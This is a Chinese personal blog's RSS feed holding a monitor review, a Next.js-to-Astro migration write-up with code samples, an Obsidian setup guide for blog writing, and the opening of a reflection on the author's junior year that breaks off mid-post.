&lt;p&gt;我手上可以通过直连 Type-C 输出的设备有：MacBook Air M2、Switch OLED 和 Galaxy S21&lt;/p&gt;
&lt;h3&gt;MacBook Air M2&lt;/h3&gt;
&lt;p&gt;不多说了，受益于 M2 强大的能耗比，接着 4K 显示器的时候并没有想象中的发烫。并且，这个显示器也给 Mac 做了不少的适配，能同步 MacBook 传感器收集的环境色温，做到类似 TrueTone 的效果。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;实际观感很不错的，用来玩点 VN 也挺养眼，如下&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;好奇探索了 M2 只能外接一块显示器的原因：有专门处理屏幕输出的 &lt;a href=&quot;https://www.zhihu.com/question/579272647/answer/2850123509&quot;&gt;协处理器&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;该显示器甚至还专门加了个 Mac 预设模式，不过切换后大体观感并没有什么不同。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Switch OLED&lt;/h3&gt;
&lt;p&gt;我是真的没有想到这个显示器居然支持 C 线直连 Switch，当时抱着试试看的心态插上，结果真亮屏了...&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;虽然输出的分辨率只有 1080P（这就是 Switch 最高支持的分辨率），如下图所示。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;此外，显示器自带的扬声器派上了用场——充当 Switch 的音频输出源，这下就避免了 TV 或显示器没有扬声器从而要往 Switch 3.5mm 接口插耳机的尴尬了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;个人猜测：显示器的 PD 输出有&lt;strong&gt;15V 这一档电压&lt;/strong&gt;，而这个电压则是 Switch 底座模式的时候用到的（Switch 底座模式的电压要求比较苛刻，Switch 自带的电源适配器的输出参数是 15V/2.6A）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Galaxy S21&lt;/h3&gt;
&lt;p&gt;成功点亮显示器并进入 Samsung Dex Mode，从 Dex Mode 的设置来看，支持原生 4K 输出。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;但是 Android APP 和 OneUI 对桌面模式的适配还是一言难尽，各种常用 app 在 4K 下 UI 显示异常，比如 Minecraft 打开不全屏。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我记得三星从 S8 开始就加入了 Dex Mode，Type-C 口也支持了 PD+DP+USB3（反观某果某米的 USB2.0-only 的 C 口）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;个人喜好调教&lt;/h2&gt;
&lt;h3&gt;控制亮度与音量&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Display_Data_Channel&quot;&gt;DDC 协议(Display Data Channel)&lt;/a&gt; 是 VESA 为了让显示适配器与显示器交流信息而创建的通信协议。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;理论上只要显示器和 OS 支持 DDC 协议，就可以在电脑侧去调节显示器的设置（分辨率/亮度/音量/对比度等）&lt;/p&gt;
&lt;p&gt;但不知道水果在想什么，macOS 原生只支持设置自家在售/曾售的显示器调节亮度和音量，比如 Studio Display 与 LG Ultrafine。如果是非官方支持的显示器，接上后，是无法通过 macOS 调节亮度的。&lt;/p&gt;
&lt;p&gt;这对于非官方在售的显示器特别不友好。不过，有不少第三方工具能突破这个限制。它们能跟支持 DDC 协议的显示器打交道，以达到亮度/对比度/音量的调节。选一个安装并使用即可。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BetterDisplay&lt;/li&gt;
&lt;li&gt;Monitor Control&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我选择了 BetterDisplay，免费版的功能足够我用了。如果没有记错，该软件安装后默认支持通过 DDC 协议调节屏幕亮度和声音的。具体到设备则是键盘 F1 F2 调节亮度，键盘 F10 F11 F12 调节音量。&lt;/p&gt;
&lt;h3&gt;选择屏幕缩放&lt;/h3&gt;
&lt;p&gt;对于 4K 显示器，macOS 默认使用 1920x1080 的逻辑分辨率，在物理像素点上，则是将 4 个物理像素点当 1 个逻辑像素点用。如果想要获得更高的屏幕空间利用率，可以将逻辑分辨率调到 2304x1296&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;此时 GPU 输出的物理分辨率就是 4.5K，在此模式无法做到准确的物理像素点和逻辑像素点的对齐。但会获得更大的工作区，大小跟 iMac 24 无异。看取舍，我目前在用这档。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;不管怎么黑，这都是一款非常不错的适合 Mac 用户的 Ultrafine 平替产品。毕竟，2000 出头的价格摆在那里，还想要啥自行车？&lt;/p&gt;
</content:encoded><category>评测</category></item><item><title>迁移博客到 Astro</title><link>https://situ2001.com/blog/migration-nextjs-to-astro/</link><guid isPermaLink="true">https://situ2001.com/blog/migration-nextjs-to-astro/</guid><description>博客框架更换为 Astro</description><pubDate>Mon, 13 Nov 2023 06:51:40 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;就在上个月月底，我更换了本博客用的前端框架，从 Next.js 更换为 Astro&lt;/p&gt;
&lt;h2&gt;为什么要迁移&lt;/h2&gt;
&lt;p&gt;个人主观想法占大头：想让博客更关注于内容，并尽可能降低博客本地 Dev, Build, Deploy 的复杂度。并且，个人博客也算是自己的一个 playground，可以在上面进行各种试验，包括不限于使用各种新技术。&lt;/p&gt;
&lt;p&gt;回到前面的问题，为什么说前博客会有构建部署上的复杂度呢？&lt;/p&gt;
&lt;p&gt;以下是原个人博客的构建链路，涉及三者：GitHub，运行数据库的机器，运行 Next.js 的机器。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;git clone 下远程的 &lt;code&gt;blog-posts&lt;/code&gt; 仓库（是的，前博客的仓库与文章仓库是分离的）&lt;/li&gt;
&lt;li&gt;解析 Markdown 文件的 frontmatter 与 content&lt;/li&gt;
&lt;li&gt;将解析出来的数据转换后，更新到远程的数据库&lt;/li&gt;
&lt;li&gt;开始 Next 真正的 SSG 构建，Next 会从指定的数据库中抓取数据，生成静态页面&lt;/li&gt;
&lt;li&gt;结束构建&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;重点在步骤 1 与 4，这两个步骤严重受到网络环境的影响。如果网络环境不好，那么 Build 的时候就是噩梦：比如在本地，如果没有任何特殊网络的环境，大多数后会卡在步骤 1（GitHub 在内地的可访问性不佳）。而如果是 Dev 的情况，会发现博客的文章源是远程服务器的数据库（步骤 4），如果要用本地的数据，就要本地新建 DB，并把 Next fetch 的 source 改为本地。&lt;/p&gt;
&lt;p&gt;这么一番折腾下来，可行是可行，但，写作动机已经被磨灭了。&lt;/p&gt;
&lt;p&gt;此外，还有 UI 样式等地方做得不是很好，CSS 堆了一层又一层，既然都要重写了，&lt;s&gt;不如就把框架也换掉吧&lt;/s&gt;。&lt;/p&gt;
&lt;p&gt;终上，是时候对博客进行一番重构或者重写了。而这次便采取了重写的做法（&lt;s&gt;一次性将屎山铲掉&lt;/s&gt;），在一番调查后，将博客框架更换为 Astro，UI 库则使用 Solid.js，并将博客部署的流程缩短铲平。既能提升自己创作体验，也能提升博客的整体性能，还能让自己享受到折腾的过程。&lt;/p&gt;
&lt;h2&gt;Astro 及其优点&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Astro is an &lt;strong&gt;all-in-one&lt;/strong&gt; &lt;strong&gt;web framework&lt;/strong&gt; for building &lt;strong&gt;fast,&lt;/strong&gt; &lt;strong&gt;content-focused&lt;/strong&gt; websites.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其实，从 &lt;a href=&quot;https://docs.astro.build/en/getting-started/&quot;&gt;它的简介&lt;/a&gt; 已经能看出它的优点：for build &lt;strong&gt;fast, content-focused&lt;/strong&gt; websites&lt;/p&gt;
&lt;p&gt;Astro 更加专注于 SSG。对于部署静态博客的我来说，它提供了开箱即用的 Markdown 与 MDX 支持，Content collections，更好的本地图片支持。这三点都极大地方便了使用 Markdown 文件源进行页面渲染的用户。&lt;/p&gt;
&lt;h3&gt;Content Collections&lt;/h3&gt;
&lt;p&gt;举个例子感受一下：原先在 Next.js（版本 12），如果要解析 Markdown 文章，需要先手写若干 API，它们的作用是读取 Markdown 文件的内容，以及获取所有 Markdown 文件的路径。&lt;/p&gt;
&lt;p&gt;这些 API 会在构建时运行，脚本的运行时为 Node.js。API 脚本涉及到了第三方的 Markdown 库如 unified 和 remark，以及 Node.js 的 fs 等库。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const getPostBySlug = (slug) =&amp;gt; {
 let filePath; // path to target markdown file, computed from slug

 // 1. Build Markdown Processor
 const markdownProcessor = unified()
   .use(markdown)
   .use(remarkFrontmatter)
   .use(replaceImageUrl, { filePath }) // use custom function to replace image url
   .use(stringifyMarkdown);

 // 2. Read file content
 const fileContent = fs.readFileSync(filePath);

 // 3. Process markdown file by using the processor
 const result = await markdownProcessor.process(fileContent);

 // 4. extract content and frontmatter data
 const { content, data } = matter(result.toString(&quot;utf-8&quot;));

 // Do something with content and frontmatter data...

 return { content, data };
}

export const getAllPostsStaticPath = () =&amp;gt; { /** need impl */ }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着在的对应 React 组件如 &lt;code&gt;[slug].tsx&lt;/code&gt; 下使用这些 API，主要作用是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;指定 SSG 生成的页面的 static props&lt;/li&gt;
&lt;li&gt;指定 SSG 生成的页面的 page path&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;export const getStaticProps: GetStaticProps&amp;lt;Props&amp;gt; = async ({
  params,
}: any) =&amp;gt; {
  const post = getPostBySlug(params.slug);

  return {
    props: {
      content: post.content,
      frontMatter: post.data,
      path: post.path,
    },
  };
};

export const getStaticPaths: GetStaticPaths = async () =&amp;gt; {
  // generate all static paths, need impl yourself
  const slugs = getAllPostsStaticPath();

  return {
    paths: slugs.map((slug) =&amp;gt; ({
      params: {
        slug: slug.split(&quot;/&quot;),
      },
    })),
    fallback: false,
  };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后 React 组件消费这个 Props&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default function Post({ frontMatter, path, content }: Props) {
  // return some elements
  return &amp;lt;&amp;gt;&amp;lt;/&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Astro SSG 的步骤跟 Next 相似，只有写法略微不同。它们的核心都是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;获取要生成的页面的 page path&lt;/li&gt;
&lt;li&gt;获得要生产的页面的 props&lt;/li&gt;
&lt;li&gt;将 props 传给页面的 React 组件进行消费&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但 Astro 写法与 Next 有些不同：Astro 使用 API &lt;a href=&quot;https://docs.astro.build/en/reference/api-reference/#getcollection&quot;&gt;&lt;code&gt;getCollection&lt;/code&gt;&lt;/a&gt; 从 &lt;strong&gt;Content Collection&lt;/strong&gt; 获取 Markdown 内容，并接受 &lt;a href=&quot;https://docs.astro.build/en/reference/api-reference/#getstaticpaths&quot;&gt;&lt;code&gt;getStaticPaths&lt;/code&gt;&lt;/a&gt; 函数的返回值（路径参数和页面 props），用于 SSG。&lt;/p&gt;
&lt;p&gt;此外，props 还带有 &lt;code&gt;render&lt;/code&gt; 方法，用于渲染 Markdown，做到了开箱即用的 Markdown 内容渲染。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
import { type CollectionEntry, getCollection } from &quot;astro:content&quot;;

import BlogPost from &quot;../../layouts/BlogPost.astro&quot;;

export const getStaticPaths = async () =&amp;gt; {
  const posts = await getCollection(&quot;blog&quot;);
  return posts
    .map((post) =&amp;gt; ({
      params: { slug: post.slug },
      props: post,
    }));
};

type Props = CollectionEntry&amp;lt;&quot;blog&quot;&amp;gt;;

const post = Astro.props;
const { Content } = await post.render();
---

&amp;lt;BlogPost {...post.data}&amp;gt;
  &amp;lt;Content /&amp;gt;
&amp;lt;/BlogPost&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;更好的本地图片支持&lt;/h3&gt;
&lt;p&gt;此外，值得一提还有本地图片的原生支持。&lt;/p&gt;
&lt;p&gt;在 Next，如果有本地图片，我需要遍历 Markdown AST 以处理图片节点：将引用的图片复制到 &lt;code&gt;public&lt;/code&gt; 文件夹，并更改 Markdown 文本的 url。&lt;/p&gt;
&lt;p&gt;如下是精简后的 transformer 代码，在 unified 创建 processor 的时候被引用。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const transformer = (tree) =&amp;gt; {
  visit(tree, &quot;image&quot;, (node) =&amp;gt; {
    let srcPath, dstPath;

    // copy
    fs.copyFileSync(srcPath, dstPath);

    // modify url of node, starting with /
    node.url = `/foo/...`;
  });
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而在 Astro，会根据 Markdown 的 url 自动去 import 本地图片。这一步骤已经被封装起来，绝大多数情况下，无需用户手动干预。&lt;/p&gt;
&lt;h3&gt;RSS and Sitemap&lt;/h3&gt;
&lt;p&gt;Astro 还拥有许多常用的 integration，它可以帮我们做更多的事情，如生成 RSS 页面与 sitemap ，它们能有效地提升页面的 &lt;a href=&quot;https://developers.google.com/search/blog/2014/10/best-practices-for-xml-sitemaps-rssatom&quot;&gt;SEO&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/rss/&quot;&gt;Add an RSS feed - Astro Doc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/integrations-guide/sitemap/&quot;&gt;@astrojs/sitemap Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些插件在 Next 也有，只不过不是那么易用。&lt;/p&gt;
&lt;h3&gt;Astro Island&lt;/h3&gt;
&lt;p&gt;值得一提的是，Astro 有一个独特的特性：&lt;a href=&quot;https://docs.astro.build/en/concepts/islands/&quot;&gt;Astro Island&lt;/a&gt;，本质就是 partial/selective hydration。&lt;/p&gt;
&lt;p&gt;总之，Astro 会生成一整个静态 HTML 页面，这会极大地缩短首屏时间。然后分别为需要的组件加载 JS 脚本（hydrate）。这也是 Astro 性能如此之好的原因。&lt;/p&gt;
&lt;p&gt;这个特性使得 Astro 是 UI-agnostic 的框架，因为不同的组件的关系，宛如岛屿和岛屿的关系 —— 每个岛屿是独立的。因此，你可以在 &lt;code&gt;.astro&lt;/code&gt; 文件里使用不同的 UI 框架的组件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
// From Astro official doc
// Example: Mixing multiple framework components on the same page.
import MyReactComponent from &apos;../components/MyReactComponent.jsx&apos;;
import MySvelteComponent from &apos;../components/MySvelteComponent.svelte&apos;;
import MyVueComponent from &apos;../components/MyVueComponent.vue&apos;;
---
&amp;lt;div&amp;gt;
  &amp;lt;MySvelteComponent /&amp;gt;
  &amp;lt;MyReactComponent /&amp;gt;
  &amp;lt;MyVueComponent /&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这部分后面单独写文章进行分析。&lt;/p&gt;
&lt;h2&gt;迁移过程&lt;/h2&gt;
&lt;p&gt;本次迁移整体步骤如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;新建一个 Astro 项目&lt;/li&gt;
&lt;li&gt;合并博客文章仓库到博客代码仓库&lt;/li&gt;
&lt;li&gt;设置好文章的数据源与 schema&lt;/li&gt;
&lt;li&gt;接入对应的 Astro Integration（主要用途：页面生成与 UI 框架接入）&lt;/li&gt;
&lt;li&gt;修改或重写原有博客代码&lt;/li&gt;
&lt;li&gt;部署到 Vercel, Cloudflare Page 等云服务&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如下是步骤 2 的设置，在 &lt;code&gt;config.ts&lt;/code&gt; 内定义好 Markdown frontmatter schema&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ./src/content/config.ts
import { defineCollection, z } from &quot;astro:content&quot;;

const blog = defineCollection({
  // Type-check frontmatter using a schema
  schema: z.object({
    title: z.string(),
    // Transform string to Date object
    date: z.coerce.date(),
    description: z.string(),
    categories: z.string(),
    // optional
    comments: z.boolean().optional(), // Enable comments on this post
    updatedDate: z.coerce.date().optional(),
  }),
});

export const collections = { blog };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如下是在步骤 3 配置的 integration，主要用到 rss, sitemap, solid.js 与 tailwind css&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ./astro.config.mjs
export default defineConfig({
  site: &quot;https://situ2001.com&quot;,
  integrations: [mdx(), sitemap(), tailwind(), prefectch(), solidJs()],
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;一番折腾下来，对于静态博客类网页，Astro 带来的性能提升还是比较惊艳的。&lt;/p&gt;
&lt;p&gt;举个例子，下面是同样的一篇文章页面的 lighthouse 结果。这里没有与原博客对比，是因为几乎所有页面我都进行了重写，在这里无法做变量控制。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;此外还发现 Astro 在 SSG 方面做了许多的优化和最佳实践，值得后面单独写文章进行分析。&lt;/p&gt;
&lt;h2&gt;链接&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/getting-started/&quot;&gt;Astro Doc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/concepts/islands/&quot;&gt;Astro Island&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/blog/2014/10/best-practices-for-xml-sitemaps-rssatom&quot;&gt;Best practices for XML sitemaps and RSS/Atom feeds&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/reference/api-reference/#getcollection&quot;&gt;Astro getCollection API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/reference/api-reference/#getstaticpaths&quot;&gt;Astro getStaticPaths API&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><category>分享</category></item><item><title>让 Obsidian 成为博客文章编辑器</title><link>https://situ2001.com/blog/make-obsidian-your-markdown-editor/</link><guid isPermaLink="true">https://situ2001.com/blog/make-obsidian-your-markdown-editor/</guid><description>给博客写作配一个顺手的编辑器</description><pubDate>Thu, 09 Nov 2023 15:50:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;需要一个平时常用的 WYSIWYG 编辑器进行博客文章（Markdown 文件）的编辑，而不是直接使用 vscode 。&lt;/p&gt;
&lt;p&gt;博客 Markdown 文件内容如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
some-prop1:
some-prop2:
---

Main content begins.
...
...
Main content ends.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需求如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;基本的 Markdown 编辑功能&lt;/li&gt;
&lt;li&gt;支持一键创建带有 file property 的 Markdown 文件&lt;/li&gt;
&lt;li&gt;支持 Markdown file property 的查看与更改&lt;/li&gt;
&lt;li&gt;支持复制粘贴图片，且图片路径为相对路径，支持自定义命名&lt;/li&gt;
&lt;li&gt;支持 Markdown 文件的格式化（Linter）&lt;/li&gt;
&lt;li&gt;支持 CJK 分词（用于：Option + 左右方向键跳词）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在这里，我选择了平时常用的适合长文编辑的 Obsidian 作为博客 Markdown 编辑器，并为博客 Markdown 编辑需求专门进行了一番配置。&lt;/p&gt;
&lt;h2&gt;基本配置&lt;/h2&gt;
&lt;p&gt;基本配置很简单，只需要把博客文章文件夹添加为 Obsidian Vault 即可。这个时候就能在 Obsidian 编辑器里编辑博客的 Markdown 文件了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;接着，可以按照个人喜好去设置如下内容。&lt;/p&gt;
&lt;p&gt;字体：Settings -&amp;gt; Options -&amp;gt; Appearance -&amp;gt; Text Font &amp;amp; Monospace Font（这里我分别设置为 LXGW WenKai 与 Fira Code）&lt;/p&gt;
&lt;p&gt;官方插件：既然只是用来编辑普通的 Markdown 文件，这里可以将 backlinks, canvas, daily note 等功能给关闭（在 Settings -&amp;gt; Options -&amp;gt; Core Plugins）&lt;/p&gt;
&lt;p&gt;要满足 23 点要求，可以使用官方的 Templates 插件。创建如下的 Markdown 文件到模板文件夹（要求前缀为 &lt;code&gt;_&lt;/code&gt; 因为 Astro 会 ignore 掉这些文件夹里的 md 文件）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title:
comments:
date:
categories:
description:
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如何使用：新建一个 md 文件，Command+P 后 Templates: Insert Template 选择对应的模板，内容就会被自动插入到目标文件。&lt;/p&gt;
&lt;h2&gt;第三方插件配置&lt;/h2&gt;
&lt;p&gt;要满足上述 3456 点提到的需求，需要安装并配置若干第三方插件。这里我使用到了如下第三方插件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Linter（Markdown 格式化）&lt;/li&gt;
&lt;li&gt;Image Toolkit（更好地预览图片）&lt;/li&gt;
&lt;li&gt;Advanced Tables（更方便地创建表格）&lt;/li&gt;
&lt;li&gt;Custom Attachment Location（图片文件复制自动重命名）&lt;/li&gt;
&lt;li&gt;Word Splitting for Simplify Chinese in Edit Mode and Vim Mode（简体中文分词）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来是部分插件的具体配置步骤&lt;/p&gt;
&lt;p&gt;对于 Linter，&lt;a href=&quot;https://github.com/platers/obsidian-linter#rules&quot;&gt;查找&lt;/a&gt; 并打开对应的规则。举个例子，打开中英文字符间插入空格的规则，可以在右上角搜索栏里进行搜索，找到后，启用规则。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;并启动保存时候进行 Linting&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;对于 Custom Attachment Location，设置如下。此时会将资源文件自动重命名，并保存到同层目录的 &lt;code&gt;assets&lt;/code&gt; 文件夹。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;并保证 Obsidian 的编辑器文件设置如下&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;对于分词工具，在设置里启动结巴分词，以获得更准确的分词体验&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;完成&lt;/h2&gt;
&lt;p&gt;到这里，一个体验良好的个人博客文章写作环境就已经配置好了。不过仍有些许缺陷，集中在第四点：资源文件复制。插件目前只规避了 Astro 无法 import 名字带有空格即 &lt;code&gt;%20&lt;/code&gt; 的图片的问题，而没有解决 Astro 无法解析前缀非 &lt;code&gt;./&lt;/code&gt; 的相对路径图片的问题。&lt;/p&gt;
&lt;p&gt;临时解决方案：在图片插入的时候，手动在相对路径前加上 &lt;code&gt;./&lt;/code&gt;。但这个问题并不会影响文章发布，因为错误会在构建时被发现（Astro 会提示 Module not found）&lt;/p&gt;
</content:encoded><category>分享</category></item><item><title>大三这一年</title><link>https://situ2001.com/blog/my-junior-year/</link><guid isPermaLink="true">https://situ2001.com/blog/my-junior-year/</guid><description>时间飞逝，一晃就一年。</description><pubDate>Fri, 27 Oct 2023 12:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么越长大，越觉得时间过得很快？是人老得快了，还是时钟的指针走快了？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;大三开始到结束感觉只用了一眨眼的时间。从 2023 年开始，我就没怎么写过博客了。上一次博客的更新也是在半年前了。&lt;/p&gt;
&lt;p&gt;短短一年，来也匆匆去也匆匆，这一年，发生了许多事情，相应地，我也成长了许多。&lt;/p&gt;
&lt;h2&gt;课程逐渐减少&lt;/h2&gt;
&lt;p&gt;大三之后，课表明显变得空白，只剩下专业必修课了。不过代价是是用大二提前修完所有专业选修课的学分。按照自己之前的计划，大三理论上就会有很多时间做自己的事情了。&lt;s&gt;比如有充足的时间美美睡大觉，再也不用做疲惫早八人了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;实际上，我利用这段时间上网冲浪、写写代码、玩玩游戏，&lt;s&gt;当然还有每日一次的核酸检测&lt;/s&gt;。空暇之余，也会选择跟朋友出岛溜达溜达，见识一下岛外的世界。印象最深刻的就是，好不容易来到了南沙区，结果收到突发的核酸检测通知，让我和我的舍友又得大步快跑去到广场的的检测点进行采样...&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;据自己的估测，每天花在核酸检测上花费的时间约 1 小时。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当时正值 9 月底，我的朋友告诉我 10 月得开始找日常实习了，但我不是很想投，感觉自己还没有准备好面试。后来拖到了 11 月才开始面试字节，虽然是第一次面试，但过程还是蛮顺利的，一二三面 HR 面，只不过面完之后告诉我实习生 HC 被盘没了，令人感慨。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;现在，我认为这个 9 月末时间节点是最容易找实习的，因为上一届的实习生该转正的转正，该跑路的跑路了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;疫情管控结束&lt;/h2&gt;
&lt;p&gt;2022 年 11 月，广州（乃至全国）对疫情的管控强度达到了顶峰。依稀记得在中旬，校内出现了几例阳性，学校迎来了一次全校大隔离，当时在宿舍呆了 7 天。不过还好学校有充足的粮食供应 —— 一日三餐以及&lt;s&gt;大量的八宝粥和沙琪玛&lt;/s&gt;（终于知道学校的经费花在哪里了...）&lt;/p&gt;
&lt;p&gt;后来到了 11 月下旬，外校的学生被要求返乡的消息越来越多，大伙也越来越期待返乡。正在考虑要不要回家的时候，我收到了隔壁学校高中同学的消息：“广州有大的要来了，再不离开广州就迟了。” 一听，我急了，马上收拾行李，并召集高中同学开始踏上打车返乡的征程。结果刚坐车离开大学城，就传来了广州彻底放开防疫管控的消息。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;又一个三年的结束。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;于是，从 11 月下旬开始，我在家度过了 3 个月。&lt;/p&gt;
&lt;p&gt;居家，还要上课，只不过课堂从教学楼课室搬到了线上会议室。学期末还要参与考试，考试的话，是用雨课堂的考试系统进行的，单机位监考，这给大伙留下充足的想象空间。&lt;/p&gt;
&lt;p&gt;居家期间还有精彩的世界杯决赛直播，阿根廷 vs 法国，最后居然是 3-3 打平。但在点球时刻，阿根廷胜出，无愧于世界杯冠军。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这是我第一次从头到尾看完一场世界杯比赛，没想到是最精彩的一场。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在家待久了，快发霉了，于是就跟我爸去公园爬山了。上山的路空无一人，甚至连口罩都不用戴。去爬山的那几天，还买了个空气炸烤箱回家，可惜只炸了次 KFC 鸡块，焗了次全鸡就吃灰了...后来生病的人越来越多，就没再去爬山了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当时我跑入决赛圈并成功吃鸡，没有中招。但可惜 6 月在深圳实习的时候首阳了...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;接下来就是新年了，年初一去江边看了个烟花大会，第一次见小镇这么多人来看烟花，以至于最后在回家的路上堵车堵了很久。新年还和高中同学去赤坎古镇、回高中，还去吃了几顿大餐。在家封闭好久，见面的时候都非常激动，彷佛有好几年没有见面了。除此之外，家里偶尔还会自驾出门兜风，虽然去游玩的都是市内的景点...&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;人确实是社交动物。对人最残酷的做法，就是将他们永远囚禁于与世隔绝的环境中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2 月中旬寒假结束，由于管控放开了，于是回校上课，也是必然的事情了。我结束了在家的生活，回到了学校。&lt;/p&gt;
&lt;h2&gt;半年实习之旅&lt;/h2&gt;
&lt;p&gt;当时的我也不知道为什么要实习，只知道的可以提前接触公司的工作，以及积累实习经历，在日后找全职工作的时候有更多的优势。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;实习能让你提前接触对应行业，也能让你提前了解自己是否适合这个行业。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不过，这两段实习都让我收获良多，而不仅仅是为简历添砖加瓦。&lt;/p&gt;
&lt;blockquote&gt;
